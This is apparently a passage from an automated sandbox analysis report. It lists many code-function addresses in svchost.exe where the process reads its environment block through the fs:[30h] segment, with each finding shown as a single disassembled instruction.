Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F380E9 mov eax, dword ptr fs:[00000030h]	10_2_02F380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB20DE mov eax, dword ptr fs:[00000030h]	10_2_02FB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F590DB mov eax, dword ptr fs:[00000030h]	10_2_02F590DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov ecx, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov ecx, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov ecx, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov ecx, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F470C0 mov eax, dword ptr fs:[00000030h]	10_2_02F470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAD0C0 mov eax, dword ptr fs:[00000030h]	10_2_02FAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAD0C0 mov eax, dword ptr fs:[00000030h]	10_2_02FAD0C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF60B8 mov eax, dword ptr fs:[00000030h]	10_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF60B8 mov ecx, dword ptr fs:[00000030h]	10_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005152 mov eax, dword ptr fs:[00000030h]	10_2_03005152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F35096 mov eax, dword ptr fs:[00000030h]	10_2_02F35096
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5D090 mov eax, dword ptr fs:[00000030h]	10_2_02F5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5D090 mov eax, dword ptr fs:[00000030h]	10_2_02F5D090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6909C mov eax, dword ptr fs:[00000030h]	10_2_02F6909C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3208A mov eax, dword ptr fs:[00000030h]	10_2_02F3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D08D mov eax, dword ptr fs:[00000030h]	10_2_02F2D08D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov ecx, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F41070 mov eax, dword ptr fs:[00000030h]	10_2_02F41070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5C073 mov eax, dword ptr fs:[00000030h]	10_2_02F5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAD070 mov ecx, dword ptr fs:[00000030h]	10_2_02FAD070
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB106E mov eax, dword ptr fs:[00000030h]	10_2_02FB106E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F32050 mov eax, dword ptr fs:[00000030h]	10_2_02F32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FD705E mov ebx, dword ptr fs:[00000030h]	10_2_02FD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FD705E mov eax, dword ptr fs:[00000030h]	10_2_02FD705E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5B052 mov eax, dword ptr fs:[00000030h]	10_2_02F5B052
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF903E mov eax, dword ptr fs:[00000030h]	10_2_02FF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF903E mov eax, dword ptr fs:[00000030h]	10_2_02FF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF903E mov eax, dword ptr fs:[00000030h]	10_2_02FF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF903E mov eax, dword ptr fs:[00000030h]	10_2_02FF903E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030051CB mov eax, dword ptr fs:[00000030h]	10_2_030051CB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A020 mov eax, dword ptr fs:[00000030h]	10_2_02F2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2C020 mov eax, dword ptr fs:[00000030h]	10_2_02F2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E016 mov eax, dword ptr fs:[00000030h]	10_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E016 mov eax, dword ptr fs:[00000030h]	10_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E016 mov eax, dword ptr fs:[00000030h]	10_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E016 mov eax, dword ptr fs:[00000030h]	10_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030061E5 mov eax, dword ptr fs:[00000030h]	10_2_030061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB4000 mov ecx, dword ptr fs:[00000030h]	10_2_02FB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F601F8 mov eax, dword ptr fs:[00000030h]	10_2_02F601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F551EF mov eax, dword ptr fs:[00000030h]	10_2_02F551EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F351ED mov eax, dword ptr fs:[00000030h]	10_2_02F351ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6D1D0 mov eax, dword ptr fs:[00000030h]	10_2_02F6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6D1D0 mov ecx, dword ptr fs:[00000030h]	10_2_02F6D1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	10_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	10_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE1D0 mov ecx, dword ptr fs:[00000030h]	10_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	10_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	10_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	10_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	10_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4B1B0 mov eax, dword ptr fs:[00000030h]	10_2_02F4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE11A4 mov eax, dword ptr fs:[00000030h]	10_2_02FE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE11A4 mov eax, dword ptr fs:[00000030h]	10_2_02FE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE11A4 mov eax, dword ptr fs:[00000030h]	10_2_02FE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FE11A4 mov eax, dword ptr fs:[00000030h]	10_2_02FE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03005060 mov eax, dword ptr fs:[00000030h]	10_2_03005060
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB019F mov eax, dword ptr fs:[00000030h]	10_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB019F mov eax, dword ptr fs:[00000030h]	10_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB019F mov eax, dword ptr fs:[00000030h]	10_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB019F mov eax, dword ptr fs:[00000030h]	10_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A197 mov eax, dword ptr fs:[00000030h]	10_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A197 mov eax, dword ptr fs:[00000030h]	10_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2A197 mov eax, dword ptr fs:[00000030h]	10_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F87190 mov eax, dword ptr fs:[00000030h]	10_2_02F87190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F70185 mov eax, dword ptr fs:[00000030h]	10_2_02F70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEC188 mov eax, dword ptr fs:[00000030h]	10_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEC188 mov eax, dword ptr fs:[00000030h]	10_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F172 mov eax, dword ptr fs:[00000030h]	10_2_02F2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC9179 mov eax, dword ptr fs:[00000030h]	10_2_02FC9179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F37152 mov eax, dword ptr fs:[00000030h]	10_2_02F37152
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2C156 mov eax, dword ptr fs:[00000030h]	10_2_02F2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F36154 mov eax, dword ptr fs:[00000030h]	10_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F36154 mov eax, dword ptr fs:[00000030h]	10_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC4144 mov eax, dword ptr fs:[00000030h]	10_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC4144 mov eax, dword ptr fs:[00000030h]	10_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC4144 mov ecx, dword ptr fs:[00000030h]	10_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC4144 mov eax, dword ptr fs:[00000030h]	10_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC4144 mov eax, dword ptr fs:[00000030h]	10_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29148 mov eax, dword ptr fs:[00000030h]	10_2_02F29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29148 mov eax, dword ptr fs:[00000030h]	10_2_02F29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29148 mov eax, dword ptr fs:[00000030h]	10_2_02F29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F29148 mov eax, dword ptr fs:[00000030h]	10_2_02F29148
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F31131 mov eax, dword ptr fs:[00000030h]	10_2_02F31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F31131 mov eax, dword ptr fs:[00000030h]	10_2_02F31131
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B136 mov eax, dword ptr fs:[00000030h]	10_2_02F2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B136 mov eax, dword ptr fs:[00000030h]	10_2_02F2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B136 mov eax, dword ptr fs:[00000030h]	10_2_02F2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2B136 mov eax, dword ptr fs:[00000030h]	10_2_02F2B136
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F60124 mov eax, dword ptr fs:[00000030h]	10_2_02F60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030050D9 mov eax, dword ptr fs:[00000030h]	10_2_030050D9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDA118 mov ecx, dword ptr fs:[00000030h]	10_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDA118 mov eax, dword ptr fs:[00000030h]	10_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDA118 mov eax, dword ptr fs:[00000030h]	10_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FDA118 mov eax, dword ptr fs:[00000030h]	10_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF0115 mov eax, dword ptr fs:[00000030h]	10_2_02FF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	10_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	10_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	10_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	10_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	10_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	10_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FED6F0 mov eax, dword ptr fs:[00000030h]	10_2_02FED6F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FC36EE mov eax, dword ptr fs:[00000030h]	10_2_02FC36EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5D6E0 mov eax, dword ptr fs:[00000030h]	10_2_02F5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F5D6E0 mov eax, dword ptr fs:[00000030h]	10_2_02F5D6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A6C7 mov ebx, dword ptr fs:[00000030h]	10_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A6C7 mov eax, dword ptr fs:[00000030h]	10_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F3B6C0 mov eax, dword ptr fs:[00000030h]	10_2_02F3B6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF16CC mov eax, dword ptr fs:[00000030h]	10_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF16CC mov eax, dword ptr fs:[00000030h]	10_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF16CC mov eax, dword ptr fs:[00000030h]	10_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF16CC mov eax, dword ptr fs:[00000030h]	10_2_02FF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FEF6C7 mov eax, dword ptr fs:[00000030h]	10_2_02FEF6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F616CF mov eax, dword ptr fs:[00000030h]	10_2_02F616CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300B73C mov eax, dword ptr fs:[00000030h]	10_2_0300B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300B73C mov eax, dword ptr fs:[00000030h]	10_2_0300B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300B73C mov eax, dword ptr fs:[00000030h]	10_2_0300B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_0300B73C mov eax, dword ptr fs:[00000030h]	10_2_0300B73C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F276B2 mov eax, dword ptr fs:[00000030h]	10_2_02F276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F276B2 mov eax, dword ptr fs:[00000030h]	10_2_02F276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F276B2 mov eax, dword ptr fs:[00000030h]	10_2_02F276B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F666B0 mov eax, dword ptr fs:[00000030h]	10_2_02F666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_03003749 mov eax, dword ptr fs:[00000030h]	10_2_03003749
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6C6A6 mov eax, dword ptr fs:[00000030h]	10_2_02F6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D6AA mov eax, dword ptr fs:[00000030h]	10_2_02F2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2D6AA mov eax, dword ptr fs:[00000030h]	10_2_02F2D6AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F34690 mov eax, dword ptr fs:[00000030h]	10_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F34690 mov eax, dword ptr fs:[00000030h]	10_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB368C mov eax, dword ptr fs:[00000030h]	10_2_02FB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB368C mov eax, dword ptr fs:[00000030h]	10_2_02FB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB368C mov eax, dword ptr fs:[00000030h]	10_2_02FB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FB368C mov eax, dword ptr fs:[00000030h]	10_2_02FB368C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F62674 mov eax, dword ptr fs:[00000030h]	10_2_02F62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF866E mov eax, dword ptr fs:[00000030h]	10_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02FF866E mov eax, dword ptr fs:[00000030h]	10_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A660 mov eax, dword ptr fs:[00000030h]	10_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F6A660 mov eax, dword ptr fs:[00000030h]	10_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F69660 mov eax, dword ptr fs:[00000030h]	10_2_02F69660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F69660 mov eax, dword ptr fs:[00000030h]	10_2_02F69660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4C640 mov eax, dword ptr fs:[00000030h]	10_2_02F4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_030037B6 mov eax, dword ptr fs:[00000030h]	10_2_030037B6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F4E627 mov eax, dword ptr fs:[00000030h]	10_2_02F4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 10_2_02F2F626 mov eax, dword ptr fs:[00000030h]	10_2_02F2F626
